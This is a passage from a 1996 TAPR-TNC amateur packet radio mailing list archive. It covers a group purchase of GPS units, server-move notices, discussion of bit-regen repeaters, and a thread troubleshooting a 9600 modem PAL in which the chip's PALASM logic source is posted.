I found several articles listed in old PSR issues but from the titles it was not clear which applied to the TNC-2. Also, on a limited budget, I would like to avoid spending more for the article than the circuit will cost to build.

Any/all help will be appreciated.
--

Ted Antanaitis WA7ZZB

21. (no subject)

From: pacojime@ctv.es (pacojime@ctv)
Date: Mon, 25 Mar 1996 13:46:33 GMT
To: tapr-tnc@tapr.org
Message-ID: <3155dfa1.2060638@sandra.ctv.es>
Rendered body type: text/plain

subscribe

April 1996

Original source file: tapr-tnc.9604
Source: http://ftp.tapr.org/tapr_history/SIG_Archives/tapr-tnc/mail_archive/tapr-tnc.9604

1. [TAPR-SYS:404] TAPR offers group GPS purchase 4/1/96 (fwd)

From: Howard Goldstein <hg@penny.n2wx.ampr.org>
Date: Mon, 1 Apr 1996 07:03:30 -0500 (EST)
To: tapr-tnc@tapr.org
Message-ID: <Pine.LNX.3.91.960401070228.215A-100000@n2wx.ampr.org>
Rendered body type: text/plain

In that TNC-2 and many clones now support beaconing parsed NMEA data,
Greg's message may be of interest to some of you.

--
Howard Goldstein <hg@n2wx.ampr.org> http://www.tapr.org/~n2wx/

---------- Forwarded message ----------
Date: Sun, 31 Mar 1996 21:52:08 -0600 (CST)
From: Greg Jones <wd5ivd@tapr.org>
To: tapr-sys@tapr.org
Subject: [TAPR-SYS:404] TAPR offers group GPS purchase 4/1/96

Please pass along to your SIGs if you think they might be interested.

Greg

TAPR offers group GPS purchase 4/1/96

TAPR working with Bob Bruninga, WB4APR, will be making a group purchase on
Garmin 20 GPS units.

For full details on the purchase as well as information regarding the unit,
please see the following web page http://www.tapr.org/gps

The price will be:
   $165.00 US for members of TAPR
       or
   $175.00 US for non-members

This kit will include:
     * Garmin GPS-20 (MultiTrac8 sensor) engine (1.83" x 2.74" x .45")
          The Garmin GPS-20 is similar to the Garmin GPS-45

     * RF pig tail with connector for unit
         (one end is the MCX male connector
            and the other end will be non-connected - see below)

     * power/data cable with connector shell and pins
         (The connector is a subminiature PCB edge connector
          and will need to be built - see below)

     * Documentation

TAPR will be taking orders for 50 units, which is the minimum purchase.
Once 50 units have been purchased TAPR will order the Garmin units.
TAPR will deposit money when the units are ordered from Garmin and ship
when the units arrive from Garmin. It is expected that the demand will
be high, thus a short period should be required to receive the 50 orders.

Please note: This is not an enclosed/sealed unit. It is assumed that
the purchasers will be installing the unit in another enclosure for normal
and/or experimental operations.

No 10% Discount for TAPR Members. Due to the nature of the purchase,
the $165 purchase price for TAPR members represents the membership
discount.

If you would like to order one of these units, you can
      e-mail tapr@tapr.org,
      phone (817) 383-0000, or
      fax (817) 566-2544.

      Office Hours: Tuesday - Friday 9am - 12pm, 3pm - 5pm Central Time

These units will be useful with current APRS software and the upcoming TAC
(Totally Accurate Clock) kit that Tom Clark, W3IWI, has begun discussing
with TAPR to do as a kit in the future. For more on the TAC project
check: ftp://aleph.gsfc.nasa.gov/GPS/totally.accurate.clock/

Questions concerning the unit and details on the buy will be handled on
the TAPR APRS Special Interest Group list. To subscribe,
   send e-mail to:
       listserv@tapr.org.
   In the message type
       subscribe aprssig YourFirstName YourLastName.
The server will then send you a message back. Announcements on the status
of the shipment will be made to the TAPR APRS SIG and TAPR-BB lists.

Shipping and Handling
----
* Shipping and Handling within the US will be $7.00 US
    by UPS Ground unless otherwise requested by purchaser.

* International Shipping will need to contact the TAPR office and get a
  quote on the shipping to your country. TAPR uses International Express
  Mail, unless the purchaser requires something else.

Tucson Amateur Packet Radio
8987-309 E Tanque Verde Rd #337 * Tucson, Az * 85749-9399 * 817-383-0000
----
e-mail: TAPR@TAPR.ORG ftp: ftp.tapr.org   web: http://www.tapr.org/tapr
----

2. Periodic announcement

From: Howard Goldstein <hg@penny.n2wx.ampr.org>
Date: Sat, 6 Apr 1996 14:44:25 -0500 (EST)
To: tapr-tnc@tapr.org
Message-ID: <Pine.LNX.3.91.960406144408.3100A-100000@n2wx.ampr.org>
Rendered body type: text/plain

Tucson Amateur Packet Radio TAPR-TNC SIG

This message will be posted periodically. Last post: 15 mar 96

To Unsubscribe:

To leave the TAPR-TNC SIG, send a message to

     listproc@tapr.org

with a blank subject. In the body of your message, write

     SIGNOFF TAPR-TNC

Statement of Purpose

This SIG is intended to be a low volume, high s/n place to discuss issues
related to use of the TAPR (and clone) TNCs. It is not moderated at this
time; list subscribers are requested to remain on topic and use discretion
to help keep up the s/n ratio.

The following subjects with respect to TNC-1 and TNC-2 are "on topic":

 o - Hardware bugs, problems, mods
 o - Firmware bugs, problems, patches
 o - TAPR documentation
 o - Interface issues
 o - Announcements of the above
 o - Suggestions for enhancements
 o - and anything else reasonably resembling the above

Although packet radio novices are invited to join, this is probably the
wrong place to post new user questions. Faster and more complete replies
to new user questions are more likely to be found in one of the many
newsgroups in the rec.radio.amateur.* hierarchy.

This is also the wrong place to debate the merits of various manufacturer
offerings or to elicit suggestions about "Which TNC should I purchase?"
Please try the newsgroups.

At times, you may find your post is relevant to one of the other fine
TAPR SIGs as well as this one. Initial crossposting is not necessarily a
bad idea. Use your judgment.

Spirited, lively discussion is invited but flames will be promptly
extinguished. The moderator reserves the right to deal with flames and
off-topic posts from a stance somewhere between complete arbitrariness and
Solomonesque. Hopefully more of the latter than the former.

Other resources

TAPR maintains both file archives and a World Wide Web server that may
contain the answer to your questions. You may wish to skim these
resources before to posting to the list:

   ftp to ftp.tapr.org   /tapr/...

   WWW to http://www.tapr.org/tapr/
                          and
           http://www.tapr.org/tapr/html/pkthome.html

73 Howie N2WX

3. TAPR Server Notice

From: Greg Jones <wd5ivd@tapr.org>
Date: Tue, 9 Apr 1996 18:05:07 -0500 (CDT)
To: tapr-bb@tapr.org (TAPR-BB mailing), hfsig@tapr.org (HF SIG mailing),
        aprssig@tapr.org (BBS SIG mailing), netsig@tapr.org (NETSIG mailing),
        bbssig@tapr.org (BBS SIG mailing), tapr-tnc@tapr.org (tapr-tnc)
Message-ID: <199604092305.SAA05153@tapr.org>
Rendered body type: text/plain

The TAPR server will be physically relocated during the weekend
of 12 - 15 April. There may be times between now and Monday
night when the system will be unavailable.

Tucson Amateur Packet Radio
8987-309 E Tanque Verde Rd #337 * Tucson, Az * 85749-9399 * 817-383-0000
----
e-mail: TAPR@TAPR.ORG ftp: ftp.tapr.org   web: http://www.tapr.org/tapr
----

4. Re: [TAPR-TNC:216] TAPR Server Notice

From: johnnyw@host.blvl.igs.net (john wright)
Date: Thu, 11 Apr 1996 19:32:37 -0400
To: tapr-tnc@tapr.org
Message-ID: <199604112332.TAA13858@host.blvl.igs.net>
Rendered body type: text/plain

>The TAPR server will be physically relocated during the weekend
>of 12 - 15 April. There may be times between now and Monday
>night when the system will be unavailable.
>
>
>---
>Tucson Amateur Packet Radio
>8987-309 E Tanque Verde Rd #337 * Tucson, Az * 85749-9399 * 817-383-0000
>---
>e-mail: TAPR@TAPR.ORG ftp: ftp.tapr.org   web: http://www.tapr.org/tapr
>---
>
>
Dear Tapr

Can you please get me off of the mailing list

Thanks J.W.

5. TAPR.ORG Status

From: Greg Jones <wd5ivd@tapr.org>
Date: Tue, 16 Apr 1996 19:38:19 -0500 (CDT)
To: tapr-bb@tapr.org (TAPR-BB mailing), aprssig@tapr.org (BBS SIG mailing),
netsig@tapr.org (NETSIG mailing), bbssig@tapr.org (BBS SIG mailing),
hfsig@tapr.org (HF SIG mailing), dsp-93@tapr.org (DSP-93 Build),
das@tapr.org (das), tapr-tnc@tapr.org (tapr-tnc)
Message-ID: <199604170038.TAA13797@tapr.org>
Rendered body type: text/plain

As your e-mail boxes show, TAPR.ORG is again connected to the net.
DataRace, our hosts, relocated their offices this weekend which caused the
system outage. While TAPR.ORG was only down for a short time, without the
connection to the service provider it was hard to service connections.

If you sent mail during the weekend, there is a good chance that your mail
provider held your message and sent it when our connection was
reestablished. If you don't see your e-mail then just send it again.

There will be some additional small outages during the week as the MIS folks
at DataRace clean up the connection and move wires around.

Thanks for everyone patients during this down time.

Cheers - Greg, WD5IVD

6. Re: [TAPR-TNC:218] TAPR.ORG Status

From: johnnyw@host.blvl.igs.net (john wright)
Date: Fri, 19 Apr 1996 21:49:22 -0400
To: tapr-tnc@tapr.org
Message-ID: <199604200149.VAA08420@host.blvl.igs.net>
Rendered body type: text/plain

Dear Tapr
Can you please unsubscibe me. Thanks alot

73's VA3JDW

June 1996

Original source file: tapr-tnc.9606
Source: http://ftp.tapr.org/tapr_history/SIG_Archives/tapr-tnc/mail_archive/tapr-tnc.9606

1. 9600 modem PAL bug?

From: robd@netshop.net (Rob Dover)
Date: Fri, 31 May 96 20:45:32
To: tapr-tnc@tapr.org
Message-ID: <199606011525.IAA18986@netshop.net>
Rendered body type: text/plain

Hi all.
I have a TAPR 9600 modem that I just completed and for some reason can't get it to key the transmitter properly. The problem appears to originate with the U14 PAL specifically the "rts to tnc" signal on pin 15. I have traced the TNC signal through to the inputs on the PAL and all seems good except I get no output on pin 15. Is this a known problem or do I have a bad chip? I am able to key the TX by patching the modem PTT signal over to the TNC but would like to do it properly.
The TNC is a MFJ 1270C and the modem has the clock and bit regen. options installed. The modem/tnc works just fine otherwise.
On a related topic; are the source files for the PALs available? I have the knowledge and equipment to work with them if they are available and would like to know what goes on inside them. 73 -Rob-

--
---
robd@netshop.net (Rob Dover)
---

2. Re: [TAPR-TNC:247] 9600 modem PAL bug?

From: Greg Jones <wd5ivd@tapr.org>
Date: Sat, 1 Jun 1996 14:07:02 -0500 (CDT)
To: tapr-tnc@tapr.org
Message-ID: <199606011907.OAA15238@tapr.org>
Rendered body type: text/plain

Hi Rob,

When did you gettthe modem ? There was a batrch over a year ago that had a series of the U14 that got out of the programming house without getting programmed.

At the TAPR Board meeting held at Dayton, we passed a motion that will be making the PALs availavle on the Web site. I just haven't had a chance to get them up there yet. Probably another week or two. The olrder PALs required an 18cv8, but we now have U14 and the bitregen available in 16v8s.

I am having Dorothy mail you a U14 replacement in the mail today. Can you ship the U14 you have back so we can check it out and resuse it if it just needs programming. TAPR, POB 51114, Denton, Texas 76201

Sorry about the problem.

Cheers - Greg

> Hi all.
> I have a TAPR 9600 modem that I just completed and for some reason can't
> get it to key the transmitter properly. The problem appears to originate
> with the U14 PAL specifically the "rts to tnc" signal on pin 15. I have
> traced the TNC signal through to the inputs on the PAL and all seems good
> except I get no output on pin 15. Is this a known problem or do I have a
> bad chip? I am able to key the TX by patching the modem PTT signal over
> to the TNC but would like to do it properly.
> The TNC is a MFJ 1270C and the modem has the clock and bit regen. options
> installed. The modem/tnc works just fine otherwise.
> On a related topic; are the source files for the PALs available? I have
> the knowledge and equipment to work with them if they are available and
> would like to know what goes on inside them. 73 -Rob-
>
> --
> ---
> robd@netshop.net (Rob Dover)
> ---
>
>

3. Bit-regen Repeater at 1200 baud?

From: David Kelly <dkelly@hiwaay.net>
Date: Sun, 2 Jun 1996 23:08:59 -0500
To: tapr-tnc@tapr.org, rose@rats.org
Message-ID: <v03006f2fadd80fbcf69c@[206.104.23.142]>
Rendered body type: text/plain

While bit-regeneration repeater hardware appears to be popular in 9600
modems I've given up hope that in the near term that many of our local
users would upgrade to 9600. So its time to fix our 1200 baud problems
where the node is on a mountaintop and east users can't hear west and
collisions abound.

I would think it would be possible to implement an entire bit-regen
repeater in TNC software. This could have the benefit of being very simple
to implement once somebody wrote the code. It could also buffer between the
data-in and data-out to provide a uniform TXDelay on the repeater's output.

Thinking about hardwiring the modem's RXdata output to its TXData input
centers me on DCD concerns. We would need a very good DCD circuit, such as
the DCD State Machine. A hardwired approach would require users to increase
TXDelay to the amount it takes to capture the repeater input, plus the time
to key the repeater, plus the time to capture the remote TNC's input. A
software solution could retain the user's short TXDelay as used in
digipeaters, yet there is no way around the fact a full duplex repeater
adds a window where nothing is heard on output while something is coming in
the input.

How many 1200 baud TNC's false DCD on an unmodulated carrier? My guess is,
"all w/o the DCD state machine." It would be quite useful to use a 10
second repeater TX hang to get incoming data out with more flags in the
TXDelay period.

Am certian I'm not the first to think about full duplex digital repeaters
on 1200 baud but haven't located much data on the subject. Where do we
start?

--
David Kelly N4HHE,   n4hhe@amsat.org,   dkelly@hiwaay.net
==
To invent, you need a good imagination and a pile of junk.
                - Thomas Edison

4. RE: Bit-regen Repeater at 1200 baud?

From: Gwyn Reedy <gwyn@paccomm.com>
Date: Mon, 3 Jun 1996 10:52:21 -0400
To: "tapr-tnc@tapr.org" <tapr-tnc@tapr.org>
Message-ID: <01BB513A.BEB05200@gwyn.paccomm.com>
Rendered body type: text/plain

On Monday, June 03, 1996 12:08 AM, David Kelly[SMTP:dkelly@hiwaay.net] wrote:
>While bit-regeneration repeater hardware appears to be popular in 9600
>modems I've given up hope that in the near term that many of our local
>users would upgrade to 9600. So its time to fix our 1200 baud problems
>where the node is on a mountaintop and east users can't hear west and
>collisions abound.
>
>I would think it would be possible to implement an entire bit-regen
>repeater in TNC software. This could have the benefit of being very simple
>to implement once somebody wrote the code. It could also buffer between the
>data-in and data-out to provide a uniform TXDelay on the repeater's output.
>
>Thinking about hardwiring the modem's RXdata output to its TXData input
>centers me on DCD concerns. We would need a very good DCD circuit, such as
>the DCD State Machine. A hardwired approach would require users to increase
>TXDelay to the amount it takes to capture the repeater input, plus the time
>to key the repeater, plus the time to capture the remote TNC's input. A
>software solution could retain the user's short TXDelay as used in
>digipeaters, yet there is no way around the fact a full duplex repeater
>adds a window where nothing is heard on output while something is coming in
>the input.
>
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>"all w/o the DCD state machine." It would be quite useful to use a 10
>second repeater TX hang to get incoming data out with more flags in the
>TXDelay period.
>
>Am certian I'm not the first to think about full duplex digital repeaters

>on 1200 baud but haven't located much data on the subject. Where do we
>start?
>
>--
>David Kelly N4HHE,   n4hhe@amsat.org,   dkelly@hiwaay.net
>==
>To invent, you need a good imagination and a pile of junk.
>   - Thomas Edison
>
>
>
>

David,

Tom Moulton wrote such code about 8 years ago. PacComm sells it, Tom may also distribute it.

We call it the XANTHUS Digital Regenerator. Runs in any TNC-2 compatible.

Gwyn Reedy, W1BEL
PacComm Packet Radio Systems

5. Re: [TAPR-TNC:249] Bit-regen Repeater at 1200 baud?

From: Bob Nielsen <nielsen@primenet.com>
Date: Mon, 3 Jun 1996 09:42:38 -0700 (MST)
To: David Kelly <dkelly@hiwaay.net>
Cc: tapr-tnc@tapr.org
Message-ID: <Pine.LNX.3.93.960603093726.5371A-100000@nielsen.tus.primenet.com>
Rendered body type: text/plain

On Sun, 2 Jun 1996, David Kelly wrote:

> While bit-regeneration repeater hardware appears to be popular in 9600
> modems I've given up hope that in the near term that many of our local
> users would upgrade to 9600. So its time to fix our 1200 baud problems
> where the node is on a mountaintop and east users can't hear west and
> collisions abound.
>
> I would think it would be possible to implement an entire bit-regen
> repeater in TNC software. This could have the benefit of being very simple
> to implement once somebody wrote the code. It could also buffer between the
> data-in and data-out to provide a uniform TXDelay on the repeater's output.
>
> Thinking about hardwiring the modem's RXdata output to its TXData input
> centers me on DCD concerns. We would need a very good DCD circuit, such as
> the DCD State Machine. A hardwired approach would require users to increase
> TXDelay to the amount it takes to capture the repeater input, plus the time
> to key the repeater, plus the time to capture the remote TNC's input. A
> software solution could retain the user's short TXDelay as used in
> digipeaters, yet there is no way around the fact a full duplex repeater
> adds a window where nothing is heard on output while something is coming in
> the input.
>
> How many 1200 baud TNC's false DCD on an unmodulated carrier? My guess is,
> "all w/o the DCD state machine." It would be quite useful to use a 10
> second repeater TX hang to get incoming data out with more flags in the
> TXDelay period.
>
> Am certian I'm not the first to think about full duplex digital repeaters
> on 1200 baud but haven't located much data on the subject. Where do we
> start?

A good place to start would be the article "Digital Regenerator
Modification for the TNC-2A" by nj7p and n7oo, which appeared in the 9th
Computer Networking Conference proceedings, which are available from TAPR.
This describes a simple (one chip) modification to a TNC to turn in into a
bit regenerator. I am also aware of a microprocessor-based circuit by
kg7bz, but don't have any information on it.

Bob

Bob Nielsen   Internet: nielsen@primenet.com
Tucson, AZ   AMPRnet: w6swe@w6swe.ampr.org
                            AX.25:   w6swe@wb7tls.az.usa.noam
                            http://www.primenet.com/~nielsen

6. TAPR Internet Move (fwd)

From: Greg Jones <wd5ivd@tapr.org>
Date: Thu, 6 Jun 1996 15:54:50 -0500 (CDT)
To: tapr-sys@tapr.org
Message-ID: <199606062127.RAA01677@penny.n2wx.ampr.org>
Rendered body type: text/plain

Please pass along to your SIGs.

Cheers - Greg

--

The TAPR Internet site will be moving the week of June 10th. During this week, the TAPR.ORG site will move from our current home at DataRace in San Antonio, Texas to Fibercom also located in San Antonio. This will be a move from an ISDN to a T1 located at a site with connections to 3 major backbones.

This has been in the works for sometime now and we are all very happy to see the move finalized and happening. This should significantly improve the speed and reliability of TAPR's network connection.

For most users the move should be transparent, other than a few hours down time while the system is physically moved. For those few folks still having trouble with DNS, here are the new IP address:

tapr.org 204.17.217.20

This address won't be active until the move, so don't change anything yet.

If the dates slips due to some reason, we will let everyone know.

Many thanks to Lee, N5LYT for this great support in the TAPR.ORG system.

Cheers - Greg, WD5IVD

7. VADCG

From: Howard Goldstein <hg@penny.n2wx.ampr.org>
Date: Fri, 7 Jun 1996 14:15:42 -0400
To: tapr-tnc@tapr.org
Message-ID: <199606071815.OAA02694@penny.n2wx.ampr.org>
Rendered body type: text/plain

Can someone help KE4WFD out?

Please note: reply to him using 73700.514@compuserve.com

I don't think Anthony is subscribed

> Name: Anthony Gattuso, Jr.
> Callsign: KE4WFD
> Email: Compuserve: 73700,514
...
> City: Newport News, Va. 23602 USA
>
>
> ---Comments--
> I have got an old Packet DIGI with a V. A. D. G. C. TNC board.
> I was Told I should check with you folks to see if any info could be
> found. It has proms marked "ax25" and a date in 1984. We were
> wondering if it could still be used as a digi. Thanks in advance.
> --
>

8. tapr at Dayton

From: MAHoushold@aol.com
Date: Sun, 9 Jun 1996 21:46:42 -0400
To: tapr-tnc@tapr.org
Message-ID: <960609214641_323246206@emout14.mail.aol.com>
Rendered body type: text/plain

Just recently returned from HamVention where I visited the TAPR booth. Thanks for all the information. I joined TAPR officially and am looking forward to the answers to quite a few questions.

73 de N3QCR

9. Re: [TAPR-TNC:248] Re: 9600 modem PAL bug?

From: Rob Dover <robd@netshop.net>
Date: Sun, 9 Jun 1996 19:25:29 -0700
To: tapr-tnc@tapr.org
Message-ID: <1.5.4.16.19960609193216.235fb7a0@stargazer.netshop.net>
Rendered body type: text/plain

```
At 02:14 PM 6/1/96 -0500, you wrote:
>I am having Dorothy mail you a U14 replacement in the mail today.  Can you
>ship the U14 you have back so we can check it out and resuse it if it just
>needs programming.  TAPR, POB 51114, Denton, Texas 76201
>
Hi again Greg.
I just received the replacement chip and it is doing exactly the same thing.
ie no signal on pin 15 (rts to tnc).  Without some idea of what goes on
inside this chip to produce the rts to tnc signal, I am at a loss as to
where to look for the problem. All inputs (as far as I can tell) seem to be
fine.
Is the source available? Or failing that a written description of the logic
that takes place associated with that particular output macrocell in the chip.
As I stated previously, I do have extensive knowledge of PALs and their
programming.
Thanks 73 -Rob-

robd@netshop.net (VE7EJE)
-------------------------------------------------------------------------------
 e-mail : robd@netshop.net                 |  "If you can't make it good,
 packet : ve7eje@ve7rxd.#scbc.bc.can.noam  |   make it LOOK good." - B Gates
-------------------------------------------------------------------------------
```

10. Re: [TAPR-TNC:255] Re: 9600 modem PAL bug?

From: Greg Jones <wd5ivd@tapr.org>
Date: Sun, 9 Jun 1996 22:59:03 -0500 (CDT)
To: tapr-tnc@tapr.org
Message-ID: <199606100359.WAA05662@tapr.org>
Rendered body type: text/plain

```
I am attaching the U14 text on the source.  I still haven;t had time to do
the web page -- so hopefully tyhe attached file will help.

If it is not the PAL -- then it will be something around it.

Also -- we need to get the U14 we shipped you back once you have soved this
problem. Getting PALs at the price we get them is diffuclt, and any we can
get back helps.

Cheers - Greg

>
> At 02:14 PM 6/1/96 -0500, you wrote:
> >I am having Dorothy mail you a U14 replacement in the mail today.  Can you
> >ship the U14 you have back so we can check it out and resuse it if it just
> >needs programming.  TAPR, POB 51114, Denton, Texas 76201
> >
> Hi again Greg.
> I just received the replacement chip and it is doing exactly the same thing.
> ie no signal on pin 15 (rts to tnc).  Without some idea of what goes on
> inside this chip to produce the rts to tnc signal, I am at a loss as to
> where to look for the problem. All inputs (as far as I can tell) seem to be
> fine.
> Is the source available? Or failing that a written description of the logic
> that takes place associated with that particular output macrocell in the chip.
> As I stated previously, I do have extensive knowledge of PALs and their
> programming.
> Thanks 73 -Rob-
>
> robd@netshop.net (VE7EJE)
> -------------------------------------------------------------------------------
>  e-mail : robd@netshop.net                 |  "If you can't make it good,
>  packet : ve7eje@ve7rxd.#scbc.bc.can.noam  |   make it LOOK good." - B Gates
> -------------------------------------------------------------------------------
>
>
;PALASM Design Description

;---------------------------------- Declaration Segment ------------
TITLE '9600 U14
PATTERN  A
REVISION 1.0
```

```
AUTHOR   L Johnson    Modified by Brian Straup for 16V8 5.15.96
COMPANY  TAPR
DATE     04 Feb 1992 '

CHIP U14  PAL16V8


;You can insert AUTO_SECURE here to automatically set the security bit.

;DESCRIPTION
;                      PAL16V8
;                      ____  ____
;                     |    \/    |
;               1_2   { 1     20 }  Vcc
;               RDFT  { 2     19 }  RDTT
;               RCFT  { 3     18 }  T_O
;               TCFT  { 4     17 }  RCTT
;               X_16  { 5     16 }  TCTT
;               X_32  { 6     15 }  !RTTT
;               RDFM  { 7     14 }  I_O
;              !RTFT  { 8     13 }  !RTTM
;              !DCFM  { 9     12 }  !DCTT
;                Gnd  {10     11 }  !DCFT
;                     |__________|

;PIN ASSIGNMENTS

;---------------------------------- PIN Declarations ---------------


PIN 1           1_2             COMBINATORIAL   ;INPUT  pin 1
PIN 2           RDFT            COMBINATORIAL   ;INPUT  pin 2
PIN 3           RCFT            COMBINATORIAL   ;INPUT  pin 3
PIN 4           TCFT            COMBINATORIAL   ;INPUT  pin 4
PIN 5           X_16            COMBINATORIAL   ;INPUT  pin 5
PIN 6           X_32            COMBINATORIAL   ;INPUT  pin 6
PIN 7           RDFM            COMBINATORIAL   ;INPUT  pin 7
PIN 8           /RTFT           COMBINATORIAL   ;INPUT  pin 8
PIN 9           /DCFM           COMBINATORIAL   ;INPUT  pin 9
PIN 10          GND

PIN 11           /DCFT           COMBINATORIAL   ;INPUT  pin 11

PIN 12          /DCTT     COMBINATORIAL         ;OUTPUT pin 12 = neg com
feed_pin
PIN 13          /RTTM     COMBINATORIAL         ;OUTPUT pin 13 = neg com
feed_pin
PIN 14          I_O       COMBINATORIAL         ;OUTPUT pin 14 = pos com
feed_pin
PIN 15          /RTTT     COMBINATORIAL         ;OUTPUT pin 15 = neg com
feed_pin
PIN 16          TCTT      COMBINATORIAL         ;OUTPUT pin 16 = pos com
feed_pin
PIN 17          RCTT      COMBINATORIAL         ;OUTPUT pin 17 = pos com
feed_pin
PIN 18          T_O       COMBINATORIAL         ;OUTPUT pin 18 = pos com
feed_pin
PIN 19          RDTT      COMBINATORIAL         ;OUTPUT pin 19 = pos com
feed_pin
PIN 20          VCC

EQUATIONS
;----------------------------------- Boolean Equation Segment ------

; /DCD to TNC
; a) /DCD from TNC's modem if TNC's modem selected
; b) /DCD from 9600 modem if TNC's modem NOT selected

DCTT = DCFT * /I_O
     + DCFM *  I_O

; /RTS to TNC
; a) /RTS from TNC's modem and TNC's modem selected

RTTT = RTFT * /I_O

; /RTS to 9600 Modem
; a) /RTS from TNC if TNC's modem NOT selected
```

```
RTTM = RTFT *  I_O

; TxClk to TNC
; a) TxCLk from TNC if TNC's modem selected
; b) TxClk from TNC if 9600 Modem selected and TNC Clock source selected
; c) X16 Clock from Oscillator if 9600 Modem selected and TNC2 selected
; d) X32 Clock from Oscillator if 9600 Modem selected and TNC1 selected

TCTT = TCFT * /I_O
     + TCFT *  I_O *  T_O
     + X_16 *  I_O * /T_O * /1_2
     + X_32 *  I_O * /T_O *  1_2

; TxClk to TNC
; a) RxClk from TNC if TNC's modem selected
; b) RxClk from TNC if 9600 Modem and TNC Clock source selected
; c) RxClk from TNC if 9600 Modem and Oscillator and TNC2 selected
; d) X32 Clock from Oscillator if 9600 Modem and Oscillator and TNC1
selected

RCTT = RCFT * /I_O
     + RCFT *  I_O *  T_O
     + RCFT *  I_O * /T_O * /1_2
     + X_32 *  I_O * /T_O *  1_2

; RxData to TNC
; a) RxData from TNC if TNC's modem selected
; b) RxData from 9600 Modem if TNC's modem NOT selected

RDTT = RDFT * /I_O
     + RDFM *  I_O
```

11. Re: [TAPR-TNC:256] Re: 9600 modem PAL bug?

From: Greg Jones <wd5ivd@tapr.org>
Date: Sun, 9 Jun 1996 23:35:50 -0500 (CDT)
To: tapr-tnc@tapr.org
Message-ID: <199606100435.XAA07340@tapr.org>
Rendered body type: text/plain

I hadn't noice -- I left off the (c) 1996 TAPR. Opps/.

Sorry for the bandwidth -- had to send another message.

Cheers - greg

```
> ;PALASM Design Description
>
> ;---------------------------------- Declaration Segment ------------
> TITLE '9600 U14
> PATTERN  A
> REVISION 1.0
> AUTHOR   L Johnson    Modified by Brian Straup for 16V8 5.15.96
> COMPANY  TAPR
> DATE     04 Feb 1992 '
>
> CHIP U14  PAL16V8
>
>
> ;You can insert AUTO_SECURE here to automatically set the security bit.
>
> ;DESCRIPTION
> ;                       PAL16V8
> ;                        ____  ____
> ;                      |    \/    |
> ;              1_2     { 1     20 }  Vcc
> ;              RDFT    { 2     19 }  RDTT
> ;              RCFT    { 3     18 }  T_O
> ;              TCFT    { 4     17 }  RCTT
> ;              X_16    { 5     16 }  TCTT
> ;              X_32    { 6     15 }  !RTTT
> ;              RDFM    { 7     14 }  I_O
> ;             !RTFT    { 8     13 }  !RTTM
> ;             !DCFM    { 9     12 }  !DCTT
> ;               Gnd    {10     11 }  !DCFT
> ;                      |__________|
>
> ;PIN ASSIGNMENTS
>
> ;---------------------------------- PIN Declarations ---------------
```

```
>
>
> PIN 1         1_2             COMBINATORIAL   ;INPUT  pin 1
> PIN 2         RDFT            COMBINATORIAL   ;INPUT  pin 2
> PIN 3         RCFT            COMBINATORIAL   ;INPUT  pin 3
> PIN 4         TCFT            COMBINATORIAL   ;INPUT  pin 4
> PIN 5         X_16            COMBINATORIAL   ;INPUT  pin 5
> PIN 6         X_32            COMBINATORIAL   ;INPUT  pin 6
> PIN 7         RDFM            COMBINATORIAL   ;INPUT  pin 7
> PIN 8         /RTFT           COMBINATORIAL   ;INPUT  pin 8
> PIN 9         /DCFM           COMBINATORIAL   ;INPUT  pin 9
> PIN 10                GND
>
> PIN 11           /DCFT           COMBINATORIAL   ;INPUT  pin 11
>
> PIN 12                /DCTT     COMBINATORIAL         ;OUTPUT pin 12 = neg com
> feed_pin
> PIN 13                /RTTM     COMBINATORIAL         ;OUTPUT pin 13 = neg com
> feed_pin
> PIN 14                I_O       COMBINATORIAL         ;OUTPUT pin 14 = pos com
> feed_pin
> PIN 15                /RTTT     COMBINATORIAL         ;OUTPUT pin 15 = neg com
> feed_pin
> PIN 16                TCTT      COMBINATORIAL         ;OUTPUT pin 16 = pos com
> feed_pin
> PIN 17                RCTT      COMBINATORIAL         ;OUTPUT pin 17 = pos com
> feed_pin
> PIN 18                T_O       COMBINATORIAL         ;OUTPUT pin 18 = pos com
> feed_pin
> PIN 19                RDTT      COMBINATORIAL         ;OUTPUT pin 19 = pos com
> feed_pin
> PIN 20                VCC
>
> EQUATIONS
> ;---------------------------------- Boolean Equation Segment ------
>
> ; /DCD to TNC
> ; a) /DCD from TNC's modem if TNC's modem selected
> ; b) /DCD from 9600 modem if TNC's modem NOT selected
>
> DCTT = DCFT * /I_O
>      + DCFM *  I_O
>
> ; /RTS to TNC
> ; a) /RTS from TNC's modem and TNC's modem selected
>
> RTTT = RTFT * /I_O
>
> ; /RTS to 9600 Modem
> ; a) /RTS from TNC if TNC's modem NOT selected
>
> RTTM = RTFT *  I_O
>
> ; TxClk to TNC
> ; a) TxCLk from TNC if TNC's modem selected
> ; b) TxClk from TNC if 9600 Modem selected and TNC Clock source selected
> ; c) X16 Clock from Oscillator if 9600 Modem selected and TNC2 selected
> ; d) X32 Clock from Oscillator if 9600 Modem selected and TNC1 selected
>
> TCTT = TCFT * /I_O
>      + TCFT *  I_O *  T_O
>      + X_16 *  I_O * /T_O * /1_2
>      + X_32 *  I_O * /T_O *  1_2
>
> ; TxClk to TNC
> ; a) RxClk from TNC if TNC's modem selected
> ; b) RxClk from TNC if 9600 Modem and TNC Clock source selected
> ; c) RxClk from TNC if 9600 Modem and Oscillator and TNC2 selected
> ; d) X32 Clock from Oscillator if 9600 Modem and Oscillator and TNC1
> selected
>
> RCTT = RCFT * /I_O
>      + RCFT *  I_O *  T_O
>      + RCFT *  I_O * /T_O * /1_2
>      + X_32 *  I_O * /T_O *  1_2
>
> ; RxData to TNC
> ; a) RxData from TNC if TNC's modem selected
> ; b) RxData from 9600 Modem if TNC's modem NOT selected
```

```
>
> RDTT = RDFT * /I_O
>      + RDFM *  I_O
>
>
>
>
```

12. alinco dr-590 9600 packet?

From: Dj Merrill <deej@vsl.ist.ucf.edu>
Date: Mon, 10 Jun 1996 09:23:39 -0400 (EDT)
To: tapr-tnc@tapr.org
Cc: Dj Merrill <deej@vsl.ist.ucf.edu>
Message-ID: <Pine.OSF.3.92.960610092149.12514B-100000@yankee.vsl.ist.ucf.edu>
Rendered body type: text/plain

I recently bought an Alinco dr-590 mobile rig, and am interested
in adapting it for use with 9600 baud packet. Does anyone know the
procedure for doing this on the Alinco? Need to know where the
discriminator, tx mod are, etc...

Thanks!

-Dj

Dj Merrill   Institute for Simulation and Training / UCF
Associate in Simulation   3280 Progress Drive, Orlando, FL 32826
deej@vsl.ist.ucf.edu - N1JOV   (407) 658-5513 / Fax: (407) 658-5059

                       "BSD: The way Unix should be"

13. Problems with the TAPR CD ?

From: ferracci@imaginet.fr (Laurent Ferracci - F1JKJ)
